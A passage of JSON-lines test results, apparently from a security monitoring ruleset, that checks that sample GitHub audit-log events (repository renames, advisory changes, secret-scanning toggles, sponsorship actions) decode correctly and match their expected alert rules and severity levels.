"{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repo.rename\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repo.rename", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91333", "level": "5", "expected_decoder": "json", "expected_rule": "91333", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repo rename."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repo.self_hosted_runner_updated\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repo.self_hosted_runner_updated", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91334", "level": "3", "expected_decoder": "json", "expected_rule": "91334", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repo self hosted runner updated."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repo.set_actions_retention_limit\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repo.set_actions_retention_limit", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91335", "level": "5", "expected_decoder": "json", "expected_rule": "91335", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repo set actions retention limit."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repo.transfer\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repo.transfer", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91336", "level": "5", "expected_decoder": "json", "expected_rule": "91336", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repo transfer."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repo.transfer_start\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repo.transfer_start", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91337", "level": "5", "expected_decoder": "json", "expected_rule": "91337", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repo transfer start."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repo.unarchived\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repo.unarchived", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91338", "level": "5", "expected_decoder": "json", "expected_rule": "91338", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repo unarchived."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repo.update_actions_secret\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repo.update_actions_secret", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91339", "level": "7", "expected_decoder": "json", "expected_rule": "91339", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repo update actions secret."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repository_advisory.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repository_advisory.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91340", "level": "3", "expected_decoder": "json", "expected_rule": "91340", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repository advisory."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repository_advisory.close\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repository_advisory.close", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91341", "level": "7", "expected_decoder": "json", "expected_rule": "91341", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repository advisory close."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repository_advisory.cve_request\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repository_advisory.cve_request", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91342", "level": "9", "expected_decoder": "json", "expected_rule": "91342", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repository advisory cve request."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repository_advisory.github_broadcast\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repository_advisory.github_broadcast", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91343", "level": "9", "expected_decoder": "json", "expected_rule": "91343", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repository advisory github broadcast."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repository_advisory.github_withdraw\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repository_advisory.github_withdraw", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91344", "level": "9", "expected_decoder": "json", "expected_rule": "91344", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repository advisory github withdraw."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repository_advisory.open\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repository_advisory.open", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91345", "level": "7", "expected_decoder": "json", "expected_rule": "91345", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repository advisory open."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repository_advisory.publish\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repository_advisory.publish", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91346", "level": "7", "expected_decoder": "json", "expected_rule": "91346", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repository advisory publish."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repository_advisory.reopen\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repository_advisory.reopen", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91347", "level": "7", "expected_decoder": "json", "expected_rule": "91347", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repository advisory reopen."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repository_advisory.update\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repository_advisory.update", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91348", "level": "7", "expected_decoder": "json", "expected_rule": "91348", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repository advisory update."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repository_content_analysis.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repository_content_analysis.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91349", "level": "3", "expected_decoder": "json", "expected_rule": "91349", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repository content analysis."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repository_content_analysis.enable\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repository_content_analysis.enable", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91350", "level": "5", "expected_decoder": "json", "expected_rule": "91350", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repository content analysis enable."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repository_content_analysis.disable\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repository_content_analysis.disable", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91351", "level": "9", "expected_decoder": "json", "expected_rule": "91351", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repository content analysis disable."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repository_dependency_graph.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repository_dependency_graph.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91352", "level": "3", "expected_decoder": "json", "expected_rule": "91352", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repository dependency graph."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repository_dependency_graph.disable\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repository_dependency_graph.disable", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91353", "level": "9", "expected_decoder": "json", "expected_rule": "91353", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repository dependency graph disable."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repository_dependency_graph.enable\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repository_dependency_graph.enable", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91354", "level": "5", "expected_decoder": "json", "expected_rule": "91354", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repository dependency graph enable."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repository_projects_change.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repository_projects_change.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91355", "level": "3", "expected_decoder": "json", "expected_rule": "91355", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repository projects change."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repository_projects_change.disable\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repository_projects_change.disable", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91356", "level": "9", "expected_decoder": "json", "expected_rule": "91356", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repository projects change disable."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repository_projects_change.enable\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repository_projects_change.enable", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91357", "level": "5", "expected_decoder": "json", "expected_rule": "91357", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repository projects change enable."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repository_secret_scanning.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repository_secret_scanning.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91358", "level": "3", "expected_decoder": "json", "expected_rule": "91358", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repository secret scanning."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repository_secret_scanning.disable\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repository_secret_scanning.disable", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91359", "level": "9", "expected_decoder": "json", "expected_rule": "91359", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repository secret scanning disable."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repository_secret_scanning.enable\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repository_secret_scanning.enable", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91360", "level": "5", "expected_decoder": "json", "expected_rule": "91360", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repository secret scanning enable."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repository_vulnerability_alert.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repository_vulnerability_alert.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91361", "level": "3", "expected_decoder": "json", "expected_rule": "91361", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repository vulnerability alert."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repository_vulnerability_alert.create\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repository_vulnerability_alert.create", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91362", "level": "12", "expected_decoder": "json", "expected_rule": "91362", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repository vulnerability alert create."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repository_vulnerability_alert.dismiss\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repository_vulnerability_alert.dismiss", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91363", "level": "9", "expected_decoder": "json", "expected_rule": "91363", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repository vulnerability alert dismiss."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repository_vulnerability_alert.resolve\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repository_vulnerability_alert.resolve", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91364", "level": "7", "expected_decoder": "json", "expected_rule": "91364", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repository vulnerability alert resolve."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repository_vulnerability_alerts.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repository_vulnerability_alerts.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91365", "level": "3", "expected_decoder": "json", "expected_rule": "91365", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repository vulnerability alerts."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repository_vulnerability_alerts.authorized_users_teams\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repository_vulnerability_alerts.authorized_users_teams", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91366", "level": "7", "expected_decoder": "json", "expected_rule": "91366", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repository vulnerability alerts authorized users teams."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repository_vulnerability_alerts.disable\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repository_vulnerability_alerts.disable", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91367", "level": "12", "expected_decoder": "json", "expected_rule": "91367", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repository vulnerability alerts disable."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repository_vulnerability_alerts.enable\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repository_vulnerability_alerts.enable", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91368", "level": "5", "expected_decoder": "json", "expected_rule": "91368", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repository vulnerability alerts enable."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"secret_scanning.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "secret_scanning.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91369", "level": "3", "expected_decoder": "json", "expected_rule": "91369", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Secret scanning."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"secret_scanning.disable\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "secret_scanning.disable", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91370", "level": "9", "expected_decoder": "json", "expected_rule": "91370", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Secret scanning disable."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"secret_scanning.enable\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "secret_scanning.enable", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91371", "level": "5", "expected_decoder": "json", "expected_rule": "91371", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Secret scanning enable."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"secret_scanning_new_repos.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "secret_scanning_new_repos.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91372", "level": "3", "expected_decoder": "json", "expected_rule": "91372", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Secret scanning new repos."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"secret_scanning_new_repos.disable\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "secret_scanning_new_repos.disable", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91373", "level": "9", "expected_decoder": "json", "expected_rule": "91373", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Secret scanning new repos disable."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"secret_scanning_new_repos.enable\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "secret_scanning_new_repos.enable", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91374", "level": "5", "expected_decoder": "json", "expected_rule": "91374", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Secret scanning new repos enable."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"sponsors.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "sponsors.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91375", "level": "3", "expected_decoder": "json", "expected_rule": "91375", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Sponsors."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"sponsors.custom_amount_settings_change\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "sponsors.custom_amount_settings_change", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91376", "level": "5", "expected_decoder": "json", "expected_rule": "91376", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Sponsors custom amount settings change."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"sponsors.repo_funding_links_file_action\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "sponsors.repo_funding_links_file_action", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91377", "level": "5", "expected_decoder": "json", "expected_rule": "91377", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Sponsors repo funding links file action."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"sponsors.sponsor_sponsorship_cancel\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "sponsors.sponsor_sponsorship_cancel", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91378", "level": "5", "expected_decoder": "json", "expected_rule": "91378", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Sponsors sponsorship cancel."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"sponsors.sponsor_sponsorship_create\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "sponsors.sponsor_sponsorship_create", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91379", "level": "5", "expected_decoder": "json", "expected_rule": "91379", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Sponsors sponsorship create."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"sponsors.sponsor_sponsorship_preference_change\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "sponsors.sponsor_sponsorship_preference_change", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91380", "level": "5", "expected_decoder": "json", "expected_rule": "91380", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Sponsors sponsorship preference change."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"sponsors.sponsor_sponsorship_tier_change\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "sponsors.sponsor_sponsorship_tier_change", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91381", "level": "5", "expected_decoder": "json", "expected_rule": "91381", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Sponsors sponsorship tier change."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"sponsors.sponsored_developer_approve\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "sponsors.sponsored_developer_approve", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91382", "level": "5", "expected_decoder": "json", "expected_rule": "91382", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Sponsors sponsored developer approve."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"sponsors.sponsored_developer_create\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "sponsors.sponsored_developer_create", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91383", "level": "5", "expected_decoder": "json", "expected_rule": "91383", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Sponsors sponsored developer create."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"sponsors.sponsored_developer_disable\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "sponsors.sponsored_developer_disable", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91384", "level": "5", "expected_decoder": "json", "expected_rule": "91384", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Sponsors sponsored developer disable."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"sponsors.sponsored_developer_redraft\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "sponsors.sponsored_developer_redraft", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91385", "level": "5", "expected_decoder": "json", "expected_rule": "91385", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Sponsors sponsored developer redraft."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"sponsors.sponsored_developer_profile_update\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "sponsors.sponsored_developer_profile_update", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91386", "level": "5", "expected_decoder": 